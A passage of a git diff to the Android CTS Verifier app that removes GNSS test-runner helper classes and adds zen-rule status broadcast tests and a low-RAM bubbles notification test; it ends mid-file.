-    protected void activityCleanUp() {
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
-            }
-        });
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-    }
-
-    /**
-     * For reference on the implementation of this test executor see:
-     *      androidx.test.runner.AndroidJUnitRunner
-     */
-    @Override
-    protected GnssTestDetails executeTests() {
-        JUnitCore testRunner = new JUnitCore();
-        testRunner.addListener(new GnssRunListener());
-
-        Computer computer = new Computer();
-        RunnerBuilder runnerBuilder = new GnssRunnerBuilder();
-
-        Runner runner;
-        try {
-            runner = computer.getSuite(runnerBuilder, new Class[]{ mTestClass });
-        } catch (Exception e) {
-            return new GnssTestDetails(
-                    getTestClassName(),
-                    GnssTestDetails.ResultCode.FAIL,
-                    "[JUnit Initialization]" + e.getMessage());
-        }
-
-        Request request = Request.runner(runner);
-        Result result = testRunner.run(request);
-        // Handle MultiConstellationNotSupportedException warning: If there is a
-        // "MultiConstellationNotSupportedException" then it will just print the warning and
-        // mark test as pass.
-        int failureCount = result.getFailureCount();
-        List<Failure> failures = result.getFailures();
-        for (Failure f: failures) {
-            // TODO: Refactor this to use a more general exception instead of 
-            // MultiConstellationNotSupportedException.
-            if (f.getException() instanceof MultiConstellationNotSupportedException) {
-                failureCount = failureCount - 1;
-                int passCount = result.getRunCount() - failureCount - result.getIgnoreCount();
-                return new GnssTestDetails(
-                        getApplicationContext(), getClass().getName(), passCount,
-                        result.getIgnoreCount(), failureCount);
-            }
-        }
-
-        return new GnssTestDetails(getApplicationContext(), getClass().getName(), result);
-    }
-
-    /**
-     * A {@link RunnerBuilder} that is used to inject during execution a {@link GnssCtsTestSuite}.
-     */
-    private class GnssRunnerBuilder extends RunnerBuilder {
-        @Override
-        public Runner runnerForClass(Class<?> testClass) throws Throwable {
-            TestSuite testSuite;
-            if (hasSuiteMethod(testClass)) {
-                Test test = SuiteMethod.testFromSuiteMethod(testClass);
-                if (test instanceof TestSuite) {
-                    testSuite = (TestSuite) test;
-                } else {
-                    throw new IllegalArgumentException(
-                            testClass.getName() + "#suite() did not return a TestSuite.");
-                }
-            } else {
-                testSuite = new TestSuite(testClass);
-            }
-            GnssCtsTestSuite gnssTestSuite =
-                    new GnssCtsTestSuite(getApplicationContext(), testSuite);
-            return new JUnit38ClassRunner(gnssTestSuite);
-        }
-
-        private boolean hasSuiteMethod(Class<?> testClass) {
-            try {
-                testClass.getMethod("suite");
-                return true;
-            } catch (NoSuchMethodException e) {
-                return false;
-            }
-        }
-    }
-
-    /**
-     * Dummy {@link RunListener}.
-     * It is only used to handle logging into the UI.
-     */
-    private class GnssRunListener extends RunListener {
-        private volatile boolean mCurrentTestReported;
-        private StringBuilder mTestsResults = new StringBuilder("Test summary:\n");
-        private int mPassTestCase = 0;
-        private int mFailTestCase = 0;
-
-        public void testRunStarted(Description description) throws Exception {
-            // nothing to log
-        }
-
-        public void testRunFinished(Result result) throws Exception {
-            // nothing to log
-            runOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    int totalTestCase = mPassTestCase + mFailTestCase;
-                    mTestsResults.append(String.format("\n\n %d/%d verification passed.",
-                            mPassTestCase, totalTestCase));
-                    if (mFailTestCase == 0) {
-                        mTestsResults.append(" All test pass!");
-                    } else {
-                        mTestsResults.append("\n\n" + mTextView.getResources().getString(
-                                R.string.location_gnss_test_retry_info) + "\n");
-                    }
-                    mTextView.setText(mTestsResults);
-                }
-            });
-            vibrate((int)TimeUnit.SECONDS.toMillis(2));
-            playSound();
-        }
-
-        public void testStarted(Description description) throws Exception {
-            mCurrentTestReported = false;
-            runOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    mTextView.append("\n Running test: " + description.getMethodName());
-                }
-            });
-        }
-
-        public void testFinished(Description description) throws Exception {
-            if (!mCurrentTestReported) {
-                mPassTestCase++;
-                appendTestDetail("\n Test passed: " + description.getMethodName());
-                mTestsResults.append("\n Test passed: " + description.getMethodName());
-            }
-        }
-
-        public void testFailure(Failure failure) throws Exception {
-            mCurrentTestReported = true;
-            if (failure.getException() instanceof MultiConstellationNotSupportedException) {
-                // append warning for MultiConstellationNotSupportedException's.
-                mTestsResults.append(failure.getException());
-            } else {
-                mFailTestCase++;
-                mTestsResults.append("\n Test failed: "
-                        + failure.getDescription().getMethodName()
-                        + "\n\n Error: " + failure.toString() + "\n");
-            }
-        }
-
-        public void testAssumptionFailure(Failure failure) {
-            mCurrentTestReported = true;
-        }
-
-        public void testIgnored(Description description) throws Exception {
-            mCurrentTestReported = true;
-        }
-
-        private void appendTestDetail(final String testDetail) {
-            runOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    mTextView.append(testDetail);
-                }
-            });
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestResult.java
deleted file mode 100644
index fb33a63..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestResult.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import junit.framework.AssertionFailedError;
-import junit.framework.Protectable;
-import junit.framework.Test;
-import junit.framework.TestCase;
-import junit.framework.TestFailure;
-import junit.framework.TestListener;
-import junit.framework.TestResult;
-
-import android.content.Context;
-import android.location.cts.GnssTestCase;
-
-import java.util.Enumeration;
-
-/**
- * A wrapper class for a {@link TestResult}.
- *
- * It provides a way to inject augmented data and helper objects during the execution of tests.
- * i.e. inject a Context object for use by tests.
- */
-public class GnssCtsTestResult extends TestResult {
-    private final Context mContext;
-    private final TestResult mWrappedTestResult;
-
-    private volatile boolean mInterrupted;
-
-    public GnssCtsTestResult(Context context, TestResult testResult) {
-        mContext = context;
-        mWrappedTestResult = testResult;
-    }
-
-    @Override
-    public void addError(Test test, Throwable throwable) {
-        mWrappedTestResult.addError(test, throwable);
-    }
-
-    @Override
-    public void addFailure(Test test, AssertionFailedError assertionFailedError) {
-        mWrappedTestResult.addFailure(test, assertionFailedError);
-    }
-
-    @Override
-    public void addListener(TestListener testListener) {
-        mWrappedTestResult.addListener(testListener);
-    }
-
-    @Override
-    public void removeListener(TestListener testListener) {
-        mWrappedTestResult.removeListener(testListener);
-    }
-
-    @Override
-    public void endTest(Test test) {
-        mWrappedTestResult.endTest(test);
-    }
-
-    @Override
-    public int errorCount() {
-        return mWrappedTestResult.errorCount();
-    }
-
-    @Override
-    public Enumeration<TestFailure> errors() {
-        return mWrappedTestResult.errors();
-    }
-
-    @Override
-    public int failureCount() {
-        return mWrappedTestResult.failureCount();
-    }
-
-    @Override
-    public Enumeration<TestFailure> failures() {
-        return mWrappedTestResult.failures();
-    }
-
-    @Override
-    public int runCount() {
-        return mWrappedTestResult.runCount();
-    }
-
-    @Override
-    public void runProtected(Test test, Protectable protectable) {
-        try {
-            protectable.protect();
-        } catch (AssertionFailedError e) {
-            addFailure(test, e);
-        } catch (ThreadDeath e) {
-            throw e;
-        } catch (InterruptedException e) {
-            mInterrupted = true;
-            addError(test, e);
-        } catch (Throwable e) {
-            addError(test, e);
-        }
-    }
-
-    @Override
-    public boolean shouldStop() {
-        return mInterrupted || mWrappedTestResult.shouldStop();
-    }
-
-    @Override
-    public void startTest(Test test) {
-        mWrappedTestResult.startTest(test);
-    }
-
-    @Override
-    public void stop() {
-        mWrappedTestResult.stop();
-    }
-
-    @Override
-    public boolean wasSuccessful() {
-        return mWrappedTestResult.wasSuccessful();
-    }
-
-    @Override
-    protected void run(TestCase testCase) {
-        if (testCase instanceof GnssTestCase) {
-            GnssTestCase gnssTestCase = (GnssTestCase) testCase;
-            gnssTestCase.setContext(mContext);
-            gnssTestCase.setTestAsCtsVerifierTest(true);
-        } else {
-            throw new IllegalStateException("TestCase invalid.");
-        }
-        super.run(testCase);
-    }
-}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestSuite.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestSuite.java
deleted file mode 100644
index 0a724b6..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestSuite.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import junit.framework.Test;
-import junit.framework.TestResult;
-import junit.framework.TestSuite;
-
-import android.content.Context;
-
-import java.util.Enumeration;
-
-/**
- * A wrapper class for a {@link TestSuite}.
- *
- * It provides a way to inject a {@link GnssCtsTestResult} during execution.
- */
-public class GnssCtsTestSuite extends TestSuite {
-    private final Context mContext;
-    private final TestSuite mWrappedTestSuite;
-
-    public GnssCtsTestSuite(Context context, TestSuite testSuite) {
-        mContext = context;
-        mWrappedTestSuite = testSuite;
-    }
-
-    @Override
-    public void run(TestResult testResult) {
-        mWrappedTestSuite.run(new GnssCtsTestResult(mContext, testResult));
-    }
-
-    @Override
-    public void addTest(Test test) {
-        mWrappedTestSuite.addTest(test);
-    }
-
-    @Override
-    public int countTestCases() {
-        return mWrappedTestSuite.countTestCases();
-    }
-
-    @Override
-    public String getName() {
-        return mWrappedTestSuite.getName();
-    }
-
-    @Override
-    public void runTest(Test test, TestResult testResult) {
-        mWrappedTestSuite.runTest(test, testResult);
-    }
-
-    @Override
-    public void setName(String name) {
-        mWrappedTestSuite.setName(name);
-    }
-
-    @Override
-    public Test testAt(int index) {
-        return mWrappedTestSuite.testAt(index);
-    }
-
-    @Override
-    public int testCount() {
-        return mWrappedTestSuite.testCount();
-    }
-
-    @Override
-    public Enumeration<Test> tests() {
-        return mWrappedTestSuite.tests();
-    }
-
-    @Override
-    public String toString() {
-        return mWrappedTestSuite.toString();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/IGnssTestStateContainer.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/IGnssTestStateContainer.java
deleted file mode 100644
index 498c599..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/IGnssTestStateContainer.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import android.content.ContentResolver;
-import android.content.Intent;
-
-/**
- * An interface that defines a facade for {@link BaseGnssTestActivity}, so it can be consumed by
- * other CtsVerifier Sensor Test Framework helper components.
- */
-public interface IGnssTestStateContainer {
-
-    /**
-     * Waits for the operator to acknowledge to continue execution.
-     */
-    void waitForUserToContinue() throws InterruptedException;
-
-    /**
-     * @param resId The resource Id to extract.
-     * @return The extracted string.
-     */
-    String getString(int resId);
-
-    /**
-     * @param resId  The resource Id to extract.
-     * @param params The parameters to format the string represented by the resource contents.
-     * @return The formatted extracted string.
-     */
-    String getString(int resId, Object... params);
-
-    /**
-     * Starts an Activity and blocks until it completes, then it returns its result back to the
-     * client.
-     *
-     * @param action The action to start the Activity.
-     * @return The Activity's result code.
-     */
-    int executeActivity(String action) throws InterruptedException;
-
-    /**
-     * Starts an Activity and blocks until it completes, then it returns its result back to the
-     * client.
-     *
-     * @param intent The intent to start the Activity.
-     * @return The Activity's result code.
-     */
-    int executeActivity(Intent intent) throws InterruptedException;
-
-    /**
-     * @return The {@link ContentResolver} associated with the test.
-     */
-    ContentResolver getContentResolver();
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/reporting/GnssTestDetails.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/reporting/GnssTestDetails.java
deleted file mode 100644
index ea04123..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/reporting/GnssTestDetails.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.reporting;
-
-import com.android.cts.verifier.R;
-
-import org.junit.runner.Result;
-
-import android.content.Context;
-
-/**
- * A class that holds the result of a Gnss test execution.
- */
-public class GnssTestDetails {
-    private final String mName;
-    private final ResultCode mResultCode;
-    private final String mSummary;
-
-    public enum ResultCode {
-        SKIPPED,
-        PASS,
-        FAIL,
-        INTERRUPTED
-    }
-
-    public GnssTestDetails(String name, ResultCode resultCode) {
-        this(name, resultCode, null /* summary */);
-    }
-
-    public GnssTestDetails(String name, ResultCode resultCode, String summary) {
-        mName = name;
-        mResultCode = resultCode;
-        mSummary = summary;
-    }
-
-    public GnssTestDetails(
-            Context context,
-            String name,
-            int passCount,
-            int skipCount,
-            int failCount) {
-        ResultCode resultCode = ResultCode.PASS;
-        if (failCount > 0) {
-            resultCode = ResultCode.FAIL;
-        } else if (skipCount > 0) {
-            resultCode = ResultCode.SKIPPED;
-        }
-
-        mName = name;
-        mResultCode = resultCode;
-        mSummary = context.getString(R.string.snsr_test_summary, passCount, skipCount, failCount);
-    }
-
-    public GnssTestDetails(Context context, String name, Result result) {
-        this(context,
-                name,
-                result.getRunCount() - result.getFailureCount() - result.getIgnoreCount(),
-                result.getIgnoreCount(),
-                result.getFailureCount());
-    }
-
-    public GnssTestDetails(String name, String tag, Throwable cause) {
-        ResultCode resultCode = ResultCode.FAIL;
-        if (cause instanceof InterruptedException) {
-            resultCode = ResultCode.INTERRUPTED;
-            // the interrupted status must be restored, so other routines can consume it
-            Thread.currentThread().interrupt();
-        }
-        mName = name;
-        mResultCode = resultCode;
-        mSummary = String.format("[%s] %s", tag, cause.getMessage());
-    }
-
-    public String getName() {
-        return mName;
-    }
-
-    public ResultCode getResultCode() {
-        return mResultCode;
-    }
-
-    public String getSummary() {
-        return mSummary;
-    }
-
-    public GnssTestDetails cloneAndChangeResultCode(ResultCode resultCode) {
-        return new GnssTestDetails(mName, resultCode, mSummary);
-    }
-
-    @Override
-    public String toString() {
-        return String.format("%s|%s|%s", mName, mResultCode.name(), mSummary);
-    }
-}
-
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AutomaticZenRuleStatusReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AutomaticZenRuleStatusReceiver.java
new file mode 100644
index 0000000..9194cf1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AutomaticZenRuleStatusReceiver.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.notifications;
+
+import static android.app.NotificationManager.ACTION_AUTOMATIC_ZEN_RULE_STATUS_CHANGED;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_UNKNOWN;
+import static android.app.NotificationManager.EXTRA_AUTOMATIC_ZEN_RULE_STATUS;
+
+import android.app.NotificationManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.util.Log;
+
+public class AutomaticZenRuleStatusReceiver extends BroadcastReceiver {
+    private static final String TAG = "AZRReceiver";
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        SharedPreferences prefs = context.getSharedPreferences(
+                ConditionProviderVerifierActivity.PREFS, Context.MODE_PRIVATE);
+        SharedPreferences.Editor editor = prefs.edit();
+        if (ACTION_AUTOMATIC_ZEN_RULE_STATUS_CHANGED.equals(intent.getAction())) {
+            String id = intent.getStringExtra(
+                    NotificationManager.EXTRA_AUTOMATIC_ZEN_RULE_ID);
+            int status = intent.getIntExtra(EXTRA_AUTOMATIC_ZEN_RULE_STATUS,
+                    AUTOMATIC_RULE_STATUS_UNKNOWN);
+            Log.d(TAG, "Got broadcast for rule status change: " + id + " " + status);
+            editor.putInt(id, status);
+            editor.commit();
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
index 084e907..454b5d2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BlockChangeReceiver.java
@@ -1,3 +1,19 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
 package com.android.cts.verifier.notifications;
 
 import static android.app.NotificationManager.ACTION_APP_BLOCK_STATE_CHANGED;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 3dc41e6..8760ef8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -34,7 +34,6 @@
 import android.view.ViewGroup;
 import android.widget.Button;
 import android.widget.TextView;
-import android.widget.Toast;
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -103,9 +102,14 @@
             runNextTestOrShowSummary();
         });
 
+        // Make sure they're enabled
+        mTests.add(new EnableBubbleTest());
+
         ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
-        if (!am.isLowRamDevice()) {
-            mTests.add(new EnableBubbleTest());
+        if (am.isLowRamDevice()) {
+            // Bubbles don't occur on low ram, instead they just show as notifs so test that
+            mTests.add(new LowRamBubbleTest());
+        } else {
             mTests.add(new SendBubbleTest());
             mTests.add(new SuppressNotifTest());
             mTests.add(new AddNotifTest());
@@ -115,10 +119,6 @@
             mTests.add(new DismissBubbleTest());
             mTests.add(new DismissNotificationTest());
             mTests.add(new AutoExpandBubbleTest());
-        } else {
-            Toast.makeText(getApplicationContext(),
-                    getResources().getString(R.string.bubbles_notification_no_bubbles_low_mem),
-                    Toast.LENGTH_LONG).show();
         }
 
         setPassFailButtonClickListeners();
@@ -462,6 +462,32 @@
         }
     }
 
+    private class LowRamBubbleTest extends BubblesTestStep {
+        @Override
+        public int getButtonText() {
+            return R.string.bubbles_notification_test_button_10;
+        }
+
+        @Override
+        public int getTestTitle() {
+            return R.string.bubbles_notification_test_title_10;
+        }
+
+        @Override
+        public int getTestDescription() {
+            return R.string.bubbles_notification_test_verify_10;
+        }
+
+        @Override
+        public void performTestAction() {
+            Notification.Builder builder =
+                    getBasicNotifBuilder("Bubble notification", "Low ram test");
+            builder.setBubbleMetadata(getBasicBubbleBuilder().build());
+
+            mNotificationManager.notify(NOTIFICATION_ID, builder.build());
+        }
+    }
+
     /** Creates a minimally filled out {@link android.app.Notification.BubbleMetadata.Builder} */
     private Notification.BubbleMetadata.Builder getBasicBubbleBuilder() {
         Context context = getApplicationContext();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index 1b14d2b..bad4639 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -16,7 +16,12 @@
 
 package com.android.cts.verifier.notifications;
 
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_DISABLED;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_ENABLED;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_REMOVED;
+import static android.app.NotificationManager.AUTOMATIC_RULE_STATUS_UNKNOWN;
 import static android.app.NotificationManager.INTERRUPTION_FILTER_PRIORITY;
+import static android.provider.Settings.EXTRA_APP_PACKAGE;
 
 import android.app.ActivityManager;
 import android.app.AutomaticZenRule;
@@ -24,6 +29,7 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.SharedPreferences;
 import android.net.Uri;
 import android.provider.Settings;
 import android.service.notification.ZenPolicy;
@@ -31,6 +37,7 @@
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
+import android.widget.Button;
 
 import com.android.cts.verifier.R;
 
@@ -41,10 +48,14 @@
 
 public class ConditionProviderVerifierActivity extends InteractiveVerifierActivity
         implements Runnable {
+    private static final String TAG = "CPVerifier";
     protected static final String CP_PACKAGE = "com.android.cts.verifier";
     protected static final String CP_PATH = CP_PACKAGE +
             "/com.android.cts.verifier.notifications.MockConditionProvider";
 
+    protected static final String PREFS = "zen_prefs";
+    private static final String BROADCAST_RULE_NAME = "123";
+
     @Override
     protected int getTitleResource() {
         return R.string.cp_test;
@@ -73,6 +84,11 @@
             tests.add(new UpdateAutomaticZenRuleWithZenPolicyTest());
             tests.add(new GetAutomaticZenRuleTest());
             tests.add(new GetAutomaticZenRulesTest());
+            tests.add(new VerifyRulesIntent());
+            tests.add(new VerifyRulesAvailableToUsers());
+            tests.add(new ReceiveRuleDisableNoticeTest());
+            tests.add(new ReceiveRuleEnabledNoticeTest());
+            tests.add(new ReceiveRuleDeletedNoticeTest());
             tests.add(new SubscribeAutomaticZenRuleTest());
             tests.add(new DeleteAutomaticZenRuleTest());
             tests.add(new UnsubscribeAutomaticZenRuleTest());
@@ -626,6 +642,292 @@
         }
     }
 
+    protected class VerifyRulesIntent extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createSettingsItem(parent, R.string.cp_show_rules);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            Intent settings = new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS);
+            if (settings.resolveActivity(mPackageManager) == null) {
+                logFail("no settings activity");
+                status = FAIL;
+            } else {
+                if (buttonPressed) {
+                    status = PASS;
+                } else {
+                    status = RETEST_AFTER_LONG_DELAY;
+                }
+                next();
+            }
+        }
+
+        protected void tearDown() {
+            // wait for the service to start
+            delay();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS);
+        }
+    }
+
+    protected class VerifyRulesAvailableToUsers extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createPassFailItem(parent, R.string.cp_show_rules_verification);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            status = WAIT_FOR_USER;
+            next();
+        }
+    }
+
+    /**
+     * Sends the user to settings to disable the rule. Waits to receive the broadcast that the rule
+     * was disabled, and confirms that the broadcast contains the correct extras.
+     */
+    protected class ReceiveRuleDisableNoticeTest extends InteractiveTestCase {
+        private final int EXPECTED_STATUS = AUTOMATIC_RULE_STATUS_DISABLED;
+        private int mRetries = 2;
+        private View mView;
+        private String mId;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.cp_disable_rule);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            status = READY;
+            // create enabled so it's ready to be disabled in app
+            AutomaticZenRule rule = new AutomaticZenRule(BROADCAST_RULE_NAME, null,
+                    new ComponentName(CP_PACKAGE,
+                            ConditionProviderVerifierActivity.this.getClass().getName()),
+                    Uri.EMPTY, null, INTERRUPTION_FILTER_PRIORITY, true);
+            mId = mNm.addAutomaticZenRule(rule);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+
+            AutomaticZenRule rule = mNm.getAutomaticZenRule(mId);
+
+            if (!rule.isEnabled()) {
+                Log.d(TAG, "Check pref for broadcast " + prefs.contains(mId)
+                        + " " + prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN));
+                if (prefs.contains(mId)
+                        && EXPECTED_STATUS == prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN)) {
+                    status = PASS;
+                } else {
+                    if (mRetries > 0) {
+                        mRetries--;
+                        status = RETEST;
+                    } else {
+                        status = FAIL;
+                    }
+                }
+            } else {
+                Log.d(TAG, "Waiting for user");
+                // user hasn't jumped to settings yet
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        protected void tearDown() {
+            mNm.removeAutomaticZenRule(mId);
+            SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+            prefs.edit().clear().commit();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS)
+                    .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        }
+    }
+
+    /**
+     * Sends the user to settings to enable the rule. Waits to receive the broadcast that the rule
+     * was enabled, and confirms that the broadcast contains the correct extras.
+     */
+    protected class ReceiveRuleEnabledNoticeTest extends InteractiveTestCase {
+        private final int EXPECTED_STATUS = AUTOMATIC_RULE_STATUS_ENABLED;
+        private int mRetries = 2;
+        private View mView;
+        private String mId;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.cp_enable_rule);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            status = READY;
+            // create disabled so it's ready to be enabled in Settings
+            AutomaticZenRule rule = new AutomaticZenRule(BROADCAST_RULE_NAME, null,
+                    new ComponentName(CP_PACKAGE,
+                            ConditionProviderVerifierActivity.this.getClass().getName()),
+                    Uri.EMPTY, null, INTERRUPTION_FILTER_PRIORITY, false);
+            mId = mNm.addAutomaticZenRule(rule);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+
+            AutomaticZenRule rule = mNm.getAutomaticZenRule(mId);
+
+            if (rule.isEnabled()) {
+                Log.d(TAG, "Check pref for broadcast " + prefs.contains(mId)
+                        + " " + prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN));
+                if (prefs.contains(mId)
+                        && EXPECTED_STATUS == prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN)) {
+                    status = PASS;
+                } else {
+                    if (mRetries > 0) {
+                        mRetries--;
+                        status = RETEST;
+                    } else {
+                        status = FAIL;
+                    }
+                }
+            } else {
+                Log.d(TAG, "Waiting for user");
+                // user hasn't jumped to settings yet
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        protected void tearDown() {
+            mNm.removeAutomaticZenRule(mId);
+            SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+            prefs.edit().clear().commit();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS)
+                    .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        }
+    }
+
+    /**
+     * Sends the user to settings to delete the rule. Waits to receive the broadcast that the rule
+     * was deleted, and confirms that the broadcast contains the correct extras.
+     */
